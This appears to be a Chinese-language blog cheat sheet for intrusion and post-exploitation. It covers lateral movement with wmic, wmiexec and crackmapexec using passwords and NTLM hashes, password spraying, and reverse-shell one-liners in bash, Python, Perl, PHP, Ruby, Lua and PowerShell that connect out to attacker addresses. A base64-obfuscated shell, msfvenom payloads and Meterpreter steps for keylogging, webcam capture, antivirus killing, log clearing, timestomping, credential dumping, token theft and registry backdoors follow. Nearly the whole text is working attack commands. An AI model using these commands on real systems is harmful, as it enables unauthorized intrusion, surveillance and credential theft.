Wmic /node:192.168.202.148 /user:Administrator /password:zxcvbnm123 process call create "cmd.exe /c ipconfig >C:/1.txt"
Cscript //nologo wmiexec.vbs /shell 192.168.202.148 Administrator zxcvbnm123
Wmiexec test/Administrator:[email protected] "whoami"
Wmiexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/[email protected] "whoami"
批量操作,需要保存为 bat 执行:
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ 'password' /user:hacker\administrator
FOR /F %%i in (pass.txt) do net use \192.168.202.148\ipc$ "%%i" /user:test\administrator
FOR /F %%i in (hash.txt) do atexec.exe -hashes :"%%i" test/[email protected] "whoami"
精准批量法:
shell for /l %i in (1,1,253) do echo 172.22.13.%i >>tip.txt
shell for /f %i in (tip.txt) do ping -n 1 -w 10 %i | find /i "ttl" >nul && echo %%i >>ok.tx
shell for /f %i in (ok.txt) do dir \%i\c$\users >>result.txt
Cme 批量:
proxychains4 ./cme smb 10.0.0.1/24 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d xx.org -x "net user"
单独执行命令:
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
Ldap 喷洒:
cme ldap 10.11.12.211 -u 'username' -p 'password' --kdcHost 10.11.12.211 --users
nc -lvvp 4444
bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安装 2:
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
chmod +x ./metasploit-latest-linux-x64-installer.run
./metasploit-latest-linux-x64-installer.run
Payload 生成:
Linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f elf > shell.elf
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=808 -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f war > shell.war
执行方式:将 shell.php 放在 web 目录下,使用浏览器访问,或者使用以下命令执行:
php shell.php
3.脚本 Shell:
Python:
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=808 -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=127.0.0.1 LPORT=808 -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=127.0.0.1 LPORT=808 -f raw > shell.pl
执行方式:复制 shell.py 中的内容在 linux 命令行下执行:
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
4.shellcode Linux Based Shellcode:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language>
Windows Based Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language>
Mac Based Shellcode:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language>
首先需要先获取 meterpreter:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
#set payload linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set lPORT 6789
set ExitOnSession false
exploit -j -z # -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
jobs # 查看后台攻击任务
kill <id> # 停止某后台攻击任务
sessions -l # (查看会话)
sessions -i 2 # 选择会话
sessions -k 2 # 结束会话
如果先获取了 cmd,比如利用 ms17-010,默认使用的 payload 返回的就是 cmd。这时候我们可以使用sessions-u 2来将 cmdshell 升级成 meterpreter。
获取到了 meterpreter,就可以进行后渗透了。
background #将当前会话放置后台
sessions # 查看会话
sessions -i # 切换会话
quit # 关闭当前的会话,返回 msf 终端
sysinfo # 查看目标机系统信息
idletime # 查看目标机闲置时间
reboot/shutdown # 重启/关机
shell # 获得控制台权限
irb # 进入 ruby 终端
getpid # 获取当前进程的 pid
ps # 查看当前活跃进程
migrate <pid 值> #将 Meterpreter 会话移植到指定 pid 值进程中
kill <pid 值> #杀死进程
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程 cmd.exe,-H 不可见,-i 交互
webcam_list #查看摄像头列表
webcam_chat # 查看摄像头接口
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘
enumdesktops #查看可用的桌面
getdesktop #获取当前 meterpreter 关联的桌面
screenshot #截屏
use espia #或者使用 espia 模块截屏 然后输入 screengrab
run vnc #使用 vnc 远程桌面连接
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将 3389 端口转发到 6662
run killav
run post/windows/manage/killav
reg –h # 注册表命令帮助
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传 nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举 run 下的 key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\\windows\\system32\\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
nc -v 192.168.81.162 443 #攻击者连接 nc 后门
clearav #清除 windows 中的应用程序日志、系统日志、安全日志
cat/ls/cd/rm # 基本命令
search -f *pass* -d C:\\windows # 搜索文件 -h 查看帮助
getwd/pwd # 获取当前目录
getlwd/lpwd # 操作攻击者主机 查看当前目录
upload /tmp/hack.txt C:\\lltest # 上传文件
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件
edit c:\\1.txt # 编辑或创建文件 没有的话,会新建文件
mkdir lltest2 # 只能在当前目录下创建文件夹
rmdir lltest2 # 只能删除当前目录下文件夹
lcd /tmp # 操作攻击者主机 切换目录
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将 1.txt 的时间戳复制给 2.txt
ipconfig/ifconfig
netstat –ano
arp
getproxy #查看代理信息
route #查看路由
portfwd add -l 6666 -p 3389 -r 127.0.0.1 # 将目标机的 3389 端口转发到本地 6666 端口
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用 rdesktop 来连接,-u 用户名 -p 密码
run autoroute –h #查看帮助
run autoroute -s 192.168.2.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
run post/multi/manage/autoroute CMD=autoadd #自动添加到目标环境网络
run post/multi/manage/autoroute CMD=print # 查看添加的路由
run arp_scanner -r 192.168.2.0/24
run post/multi/gather/ping_sweep RHOSTS=192.168.2.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.2.0
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1080
run
vi /etc/proxychains.conf #添加 socks5 127.0.0.1 1080
proxychains 使用 Socks5 代理访问
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出 pcap 数据包
sniffer_stop 2 #停止抓包
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取 IE 缓存
run post/windows/gather/enum_chrome #获取 Chrome 缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找定位域控
run post/windows/gather/enum_logged_on_users #登录过的用户
1.getsystem 提权 getsystem 工作原理:①getsystem 创建一个新的 Windows 服务,设置为 SYSTEM 运行,当它启动时连接到一个命名管道。②getsystem 产生一个进程,它创建一个命名管道并等待来自该服务的连接。③Windows 服务已启动,导致与命名管道建立连接。④该进程接收连接并调用 ImpersonateNamedPipeClient,从而为 SYSTEM 用户创建模拟令牌。然后用新收集的 SYSTEM 模拟令牌产生 cmd.exe,并且我们有一个 SYSTEM 特权进程。
getsystem
2.bypassuac 用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。
MSF 提供了如下几个模块帮助绕过 UAC:
msf5 auxiliary(server/socks5) > search bypassuac
使用方法类似,运行后返回一个新的会话,需要再次执行 getsystem 获取系统权限。
3.内核漏洞提权
无论是 linux 还是 windows 都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如 windows 系统的 ms13-081、ms15-051、ms16-032、ms17-010 等,msf 也集成了这些漏洞的利用模块。
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf5 > use exploit/windows/local/ms13_053_schlamperei
msf5 > set SESSION 2
msf5 > exploit
在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者 hash,再尝试登录内网其它服务器,可能取得意想不到的效果。
1.使用 mimikatz:
load mimikatz #help mimikatz 查看帮助
wdigest #获取 Wdigest 密码
mimikatz_command -f samdump::hashes #执行 mimikatz 原始命令
mimikatz_command -f sekurlsa::searchPasswords
meterpreter > run hashdump
3.post/windows/gather/smart_hashdump
从上面也可以看出官方推荐post/windows/gather/smart_hashdump。
meterpreter > run post/windows/gather/smart_hashdump
4.powerdump 同 hashdump,但失败了:
meterpreter > run powerdump
在用户登录 windows 操作系统时,系统都会给用户分配一个令牌 (Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的 session 或者 cookie。
MSF 提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。
use incognito #help incognito 查看帮助
list_tokens -u #查看可用的 token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒 SYSTEM token
或者 impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的 token 执行
或者直接 shell
rev2self #返回原始 token
steal_token <pid 值> #从指定进程中窃取 token 先 ps,找域控进程
drop_token #删除窃取的 token
Meterpreter 仅仅是在内存中驻留的 Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。
1.persistence 启动项后门
原理是在 C:\Users***\AppData\Local\Temp\目录下,上传一个 vbs 脚本,在注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项,很容易被杀软拦截,官方不推荐。
run persistence –h #查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.81.160
#-X 指定启动的方式为开机自启动,-i 反向连接的时间间隔 (5s) –r 指定攻击者的 ip
能实现同样功能的脚本还有:exploit/windows/local/persistence
2.metsvc 服务后门
在 C:\Users**\AppData\Local\Temp\目录下,上传一个 vbs 脚本 在注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项。通过服务启动,需要管理员权限,官方不推荐使用,运行失败。
run metsvc –A #自动安装后门
三个文件上传成功,但服务没有启动起来,失败了。使用-r参数可卸载服务。
3.persistence_exe
再来看看官方推荐的东西吧。
此模块将可执行文件上载到远程主机并进行创建持久性。涉及到四个参数
• REXENAME 是拷贝到目标系统中的名字 • EXEPATH 是将要上传的后门在本地的位置 • SESSION 是选择运行此模块的会话 • STARTUP 是启动类型,有 USER、SYSTEM、SERVICE 这三种取值,USER 表示为将在用户登录时启动,SYSTEM 表示将在系统启动时启动 (需要权限),SERVICE 表示将创建一个启动服务项 (需要权限)。
尝试一下:
meterpreter > run post/windows/manage/persistence_exe REXENAME=backdoor.exe REXEPATH=/home/ubuntu/shell.exe STARTUP=USER
4.registry_persistence
完整路径为 exploit/windows/local/registry_persistence
和第一种方法类似,此模块将会安装一个 payload 到注册表的启动项中。
meterpreter > background
[*] Backgrounding session 13...
msf5 auxiliary(server/socks5) > use exploit/windows/local/registry_persistence
msf5 exploit(windows/local/registry_persistence) > show options
msf5 exploit(windows/local/registry_persistence) > set SESSION 13
SESSION => 13
msf5 exploit(windows/local/registry_persistence) > run
同类型的还有其他 payload,如 exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence。
CS 派生 MSF:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
msf exploit(handler) > set lhost 192.168.0.143
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
CS 创建一个 windows/foreign/reverse_http 的 Listener 然后选中对应机器,右键->Spawn,选择刚刚创建的监听器。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online